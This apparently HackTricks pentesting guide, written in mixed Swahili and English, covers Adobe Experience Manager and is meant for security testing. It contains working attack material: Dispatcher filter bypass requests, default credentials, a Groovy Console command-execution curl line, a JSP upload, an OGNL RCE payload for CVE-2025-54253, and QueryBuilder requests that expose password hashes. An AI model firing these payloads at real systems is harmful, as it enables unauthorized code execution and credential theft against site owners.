AEM (Adobe Experience Manager) Pentesting

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) ni CMS ya shirika inayokimbia juu ya Apache Sling/Felix (OSGi) na Java Content Repository (JCR). Kutoka kwa mtazamo wa mshambulizi, instances za AEM mara nyingi huweka wazi dangerous development endpoints, weak Dispatcher rules, default credentials na long tail ya CVEs ambazo hupatchi kila robo mwaka.

Orodha ya ukaguzi hapa chini inalenga externally reachable (unauth) attack surface ambazo zinaendelea kuonekana katika real engagements (2022-2026).

1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Other quick indicators:

• /etc.clientlibs/ static path present (returns JS/CSS).
• /libs/granite/core/content/login.html login page with the “Adobe Experience Manager” banner.
• </script><!--/* CQ */--> comment at the bottom of HTML.

2. High-value unauthenticated endpoints

Dispatcher bypass tricks (still working in 2025/2026)

Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.

Classic semicolon + allowed extension

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

Ikiwa Dispatcher inaruhusu encoded slashes, hili linarudisha JSON hata wakati /bin inakadiriwa kutukanwa.

3. Mipangilio isiyofaa ya kawaida (bado yapo 2026)

1. Anonymous POST servlet – POST /.json with :operation=import inaruhusu kuweka node mpya za JCR. Kuzuia *.json POST kwenye Dispatcher kunarekebisha.
2. World-readable user profiles – ACL ya default inampa jcr:read kwenye /home/users/**/profile/* kila mtu.
3. Default credentials – admin:admin, author:author, replication:replication.
4. WCMDebugFilter enabled ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, bado inapatikana kwenye installs za legacy 6.4).
5. Groovy Console exposed – remote code execution kwa kutuma script ya Groovy:

curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

6. Dispatcher encoded-slash gap – /bin/querybuilder.json and /etc/truststore.json zinafikika kwa %2f/%3B hata wakati zimezuiwa na path filters.
7. AEM Forms Struts devMode left enabled – /adminui/debug?expression= hutathmini OGNL bila uthibitisho (CVE-2025-54253) na kusababisha RCE bila uthibitisho; pamoja na XXE katika uwasilishaji wa Forms (CVE-2025-54254) kuruhusu kusoma faili.

4. Mapungufu ya hivi karibuni (mzunguko wa service-pack)

Kila wakati angalia bulletin ya APSB inayofanana na service-pack ya mteja na shinikiza kwa toleo la karibuni 6.5.24 (Nov 26, 2025) au Cloud Service 2025.12. AEM Forms kwenye JEE inahitaji add-on hotfix maalum 6.5.0-0108+.

5. Exploitation snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Sasa omba /content/evil.jsp – JSP inaendesha kwa mtumiaji wa mchakato wa AEM.

5.2 SSRF to RCE (ya kihistoria < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py kutoka kwa aem-hacker inafanya otomatiki mnyororo mzima.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Ikiwa ni dhaifu, mwili wa HTTP una matokeo ya amri.

5.4 QueryBuilder ufichuzi wa hash (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Inarudisha node za watumiaji zikiwemo rep:password hashes wakati anonymous read ACLs zikiwa kwa default.

6. Zana

• aem-hacker – script ya kuorodhesha ya aina ya Swiss-army; inaunga mkono dispatcher bypass, SSRF detection, default-creds checks na mengine.

python3 aem_hacker.py -u https://target --host attacker-ip

• Tenable WAS plugin 115065 – Inagundua QueryBuilder hash disclosure & encoded-slash bypass moja kwa moja (published Dec 2025).
• Content brute-force – omba kwa mfululizo /_jcr_content.(json|html) ili kugundua vipengele vilivyo fichwa.
• osgi-infect – pakia malicious OSGi bundle kupitia /system/console/bundles ikiwa creds zinapatikana.

Marejeleo

• Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
• BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.